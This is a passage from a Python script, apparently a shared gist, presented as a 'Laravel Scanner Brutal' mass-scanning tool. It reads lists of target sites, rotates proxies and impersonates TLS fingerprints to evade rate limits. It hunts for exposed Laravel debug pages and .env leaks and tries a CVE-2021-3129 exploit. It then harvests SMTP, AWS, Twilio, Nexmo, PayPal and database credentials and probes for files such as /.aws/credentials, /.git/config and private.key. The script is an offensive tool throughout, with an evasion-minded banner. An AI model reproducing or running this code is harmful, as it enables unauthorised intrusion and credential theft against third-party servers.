proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_post_fallback")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {url} (POST fallback). Proxy marked failed.{Style.RESET_ALL}")
elif "<td>APP_KEY</td>" in res.text:
resp = res.text
leak_type = parse_leak_content(resp)
leak_path = f"POST / ({leak_type})"
text = f"{Fore.GREEN}# {url} | Leaked: {leak_path}{Style.RESET_ALL}"
printf(f"{Fore.GREEN}[+] Found potential leak via POST at {url}{Style.RESET_ALL}")
if "_ignition" in url and not is_cve_2021_3129_vulnerable: # Periksa apakah URL itu sendiri mengandung _ignition
printf(f"{Fore.CYAN}[*] Scanning: Potential CVE-2021-3129 target found via POST at {url}. Attempting exploit...{Style.RESET_ALL}")
if exploit_cve_2021_3129(url, current_proxy, random.choice(JA3_IMPERSONATIONS)):
is_cve_2021_3129_vulnerable = True
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (POST) for {url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (POST) for {url}: {e}\n")
pass
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
# ✅ Vuln ditemukan atau tidak
if resp:
printf(f"{Fore.CYAN}[*] Processing leaked content for {url}...{Style.RESET_ALL}")
getsmtp = androxgh0st().get_smtp(resp, url)
getwtilio = androxgh0st().get_twillio(resp, url)
smsapi = androxgh0st().get_nexmo(resp, url)
getaws = androxgh0st().get_aws_data(resp, url)
getpp = androxgh0st().paypal(resp, url)
getdb = androxgh0st().get_database(resp, url) # Added database check
printf(f"{Fore.CYAN}[*] Checking for sensitive files from previous scans for {url}...{Style.RESET_ALL}")
try:
# Read sensitive_found.txt outside the loop to avoid race conditions on file read
sensitive_urls_to_check = []
with file_locks['sensitive_found.txt']:
if os.path.exists("Results/sensitive_found.txt"):
with open("Results/sensitive_found.txt", "r") as f:
sensitive_urls_to_check = [line.strip() for line in f if line.strip()]
for target in sensitive_urls_to_check:
if url in target: # Hanya periksa ulang file sensitif yang terkait dengan URL saat ini
printf(f"{Fore.CYAN}[*] Re-checking sensitive file: {target}{Style.RESET_ALL}")
try:
# Gunakan fungsi helper
res = make_request_with_fallback('GET', target)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke target/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_sensitive_recheck")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {target} (sensitive re-check). Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke target/proxy berikutnya
elif res.status_code == 200:
resp2 = res.text
androxgh0st().get_smtp(resp2, url)
androxgh0st().get_twillio(resp2, url)
androxgh0st().get_nexmo(resp2, url)
androxgh0st().get_aws_data(resp2, url)
androxgh0st().paypal(resp2, url)
androxgh0st().get_database(resp2, url)
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (sensitive file fetch) for {target}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (sensitive file fetch) for {target}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
except FileNotFoundError:
pass
except Exception as e:
printf(f"{Fore.RED}[!] Error processing sensitive_found.txt: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error processing sensitive_found.txt: {e}\n")
printf(f"{Fore.CYAN}[*] Checking for Laravel fingerprints for {url}...{Style.RESET_ALL}")
fingerprint_paths = [
"/vendor/composer/installed.json",
"/composer.lock",
"/vendor/laravel/framework/src/Illuminate/Foundation/Application.php"
]
for path in fingerprint_paths:
try:
full_url = url + path
# Gunakan fungsi helper
res = make_request_with_fallback('GET', full_url, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke path/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_fingerprint")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {full_url} (fingerprint). Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke path/proxy berikutnya
elif res.status_code == 200 and "laravel" in res.text.lower():
write_to_file_safe('Results/fingerprint.txt', f"{url} | {path}\n")
text += f' | {Fore.MAGENTA}Laravel Fingerprint{Style.RESET_ALL}'
printf(f"{Fore.GREEN}[+] Found Laravel fingerprint at {full_url}{Style.RESET_ALL}")
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (fingerprint) for {full_url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (fingerprint) for {full_url}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
printf(f"{Fore.CYAN}[*] Enumerating common sensitive files for {url}...{Style.RESET_ALL}")
sensitive_paths = [
"/.git/config", "/.svn/entries", "/.DS_Store", "/config.php",
"/database.yml", "/settings.py", "/.aws/credentials",
"/credentials.json", "/secrets.json", "/private.key",
"/config/config.json", "/core/.env", "/firebase.json",
"/.vercel/project.json", "/.npmrc", "/.yarnrc", "/.dockerenv"
]
for path in sensitive_paths:
try:
full_url = url + path
# Gunakan fungsi helper
res = make_request_with_fallback('GET', full_url, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke path/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit_sensitive_enum")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {full_url} (sensitive enum). Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke path/proxy berikutnya
elif res.status_code == 200 and any(x in res.text.lower() for x in ["aws", "smtp", "password", "token", "private", "key", "secret"]):
write_to_file_safe('Results/sensitive_found.txt', f"{url + path}\n")
text += f' | {Fore.MAGENTA}Sensitive File{Style.RESET_ALL}'
printf(f"{Fore.GREEN}[+] Found sensitive file at {full_url}{Style.RESET_ALL}")
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (sensitive enum) for {full_url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (sensitive enum) for {full_url}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
# Tambahkan status ke 'text'
# Pastikan semua indikator status selalu dicetak
text += f' | SMTP: {Fore.GREEN}YES{Style.RESET_ALL}' if getsmtp else f' | SMTP: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | AWS: {Fore.GREEN}YES{Style.RESET_ALL}' if getaws else f' | AWS: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | TWILIO: {Fore.GREEN}YES{Style.RESET_ALL}' if getwtilio else f' | TWILIO: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | SMS API: {Fore.GREEN}YES{Style.RESET_ALL}' if smsapi else f' | SMS API: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | PAYPAL: {Fore.GREEN}YES{Style.RESET_ALL}' if getpp else f' | PAYPAL: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | DATABASE: {Fore.GREEN}YES{Style.RESET_ALL}' if getdb else f' | DATABASE: {Fore.RED}NO{Style.RESET_ALL}'
text += f' | CVE-2021-3129: {Fore.GREEN}VULN{Style.RESET_ALL}' if is_cve_2021_3129_vulnerable else f' | CVE-2021-3129: {Fore.RED}NOT VULN{Style.RESET_ALL}'
text += f' | Mix Manifest: {Fore.GREEN}FOUND{Style.RESET_ALL}' if is_mix_manifest_found else f' | Mix Manifest: {Fore.RED}NOT FOUND{Style.RESET_ALL}'
else:
text = f"{Fore.RED}# {url} | No significant leak found | Can't get everything{Style.RESET_ALL}"
write_to_file_safe('Results/not_vulnerable.txt', url.replace('\r', '') + '\n')
except Exception as e:
text = f"{Fore.RED}# {url} | Can't access sites or unexpected error: {e}{Style.RESET_ALL}"
write_to_file_safe('Results/not_vulnerable.txt', url.replace('\r', '') + '\n')
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] General error for {url}: {e}\n")
printf(text) # Cetak status akhir untuk URL
if __name__ == '__main__':
print(f"""
{Fore.CYAN}
Laravel Scanner Brutal
[+] Scanning: APP_KEY | SMTP | AWS | TWILIO | NEXMO AND ETC
[+] Build Time: 11-07-2025 10:00
[+] Stay silent, stay effective
{Style.RESET_ALL}
""")
readsplit = []
lists = ''
numthread = ''
sessi = ''
proxy_input_val = ''
try:
readcfg = ConfigParser()
readcfg.read(pid_restore)
if readcfg.has_option('DB', 'FILES'):
lists = readcfg.get('DB', 'FILES')
numthread = readcfg.get('DB', 'THREAD')
sessi = readcfg.get('DB', 'SESSION')
if readcfg.has_option('DB', 'PROXY_INPUT'):
proxy_input_val = readcfg.get('DB', 'PROXY_INPUT')
print(f"{Fore.YELLOW}[*] Session found!{Style.RESET_ALL}")
print(f"Using Configuration :\n\tFILES={lists}\n\tTHREAD={numthread}\n\tSESSION={sessi}\n\tPROXY_INPUT={proxy_input_val}")
tanya = input(f"{Fore.YELLOW}Restore session? [Y/n] {Style.RESET_ALL}").strip().lower()
if tanya == 'y' or tanya == '':
try:
with open(lists, 'r') as f:
all_lines = f.read().split("\n" + sessi)
if len(all_lines) > 1:
readsplit = all_lines[1].splitlines()
else:
readsplit = open(lists).read().splitlines()
print(f"{Fore.GREEN}[+] Session restored successfully.{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}Failed to restore session: {e}. Starting fresh.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Failed to restore session: {e}\n")
else:
print(f"{Fore.YELLOW}[!] Not restoring session.{Style.RESET_ALL}")
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error reading session file: {e}\n")
pass
if not readsplit:
try:
if len(sys.argv) >= 3:
lists = sys.argv[1]
numthread = sys.argv[2]
if len(sys.argv) >= 4:
proxy_input_val = sys.argv[3]
else:
lists = input(f"{Fore.CYAN}Path to target list: {Style.RESET_ALL}").strip()
numthread = input(f"{Fore.CYAN}Thread count (e.g., 20, 50, 100, 200): {Style.RESET_ALL}").strip()
proxy_input_val = input(f"{Fore.CYAN}Enter single proxy (e.g., ip:port or user:pass@ip:port) or path to proxy list (leave empty if none): {Style.RESET_ALL}").strip()
readsplit = open(lists).read().splitlines()
except Exception as e:
print(f"{Fore.RED}[!] Failed to load list or invalid input: {e}. Exiting.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Failed to load list or invalid input: {e}\n")
sys.exit()
# Pastikan numthread adalah integer
try:
numthread = int(numthread)
if numthread <= 0:
raise ValueError("Thread count must be a positive integer.")
except ValueError as e:
print(f"{Fore.RED}[!] Invalid thread count: {e}. Using default 10 threads.{Style.RESET_ALL}")
numthread = 10 # Default to 10 if invalid input
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Invalid thread count input: {e}. Defaulting to 10 threads.\n")
if proxy_input_val:
proxy_manager = ProxyManager(proxy_input_val)
if not proxy_manager.proxies:
print(f"{Fore.RED}[!] No valid proxies found. Continuing without proxies.{Style.RESET_ALL}")
proxy_manager = None
elif len(proxy_manager.proxies) == 1:
print(f"{Fore.BLUE}[*] Using single proxy: {proxy_manager.proxies[0]['http']}{Style.RESET_ALL}")
else:
print(f"{Fore.BLUE}[*] Using {len(proxy_manager.proxies)} proxies for rotation.{Style.RESET_ALL}")
pool = ThreadPool(numthread)
print(f"{Fore.GREEN}[*] Starting scan with {numthread} threads...{Style.RESET_ALL}")
for url in readsplit:
if "://" not in url:
url = "http://" + url
url = url.rstrip('/')
jagases = url
try:
pool.add_task(main, url)
except KeyboardInterrupt:
with open(pid_restore, 'w') as session:
cfgsession = f"[DB]\nFILES={lists}\nTHREAD={numthread}\nSESSION={jagases}\n"
if proxy_input_val:
cfgsession += f"PROXY_INPUT={proxy_input_val}\n"
session.write(cfgsession)
print(f"\n{Fore.YELLOW}[!] CTRL+C detected, session saved.{Style.RESET_ALL}")
sys.exit()
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error adding task for {url}: {e}\n")
print(f"{Fore.RED}[!] Error adding task for {url}: {e}{Style.RESET_ALL}")
pool.wait_completion()
try:
os.remove(pid_restore)
print(f"{Fore.GREEN}[+] Session file removed.{Style.RESET_ALL}")
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error removing session file: {e}\n")
pass
print(f"{Fore.GREEN}[+] Scanning complete.{Style.RESET_ALL}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment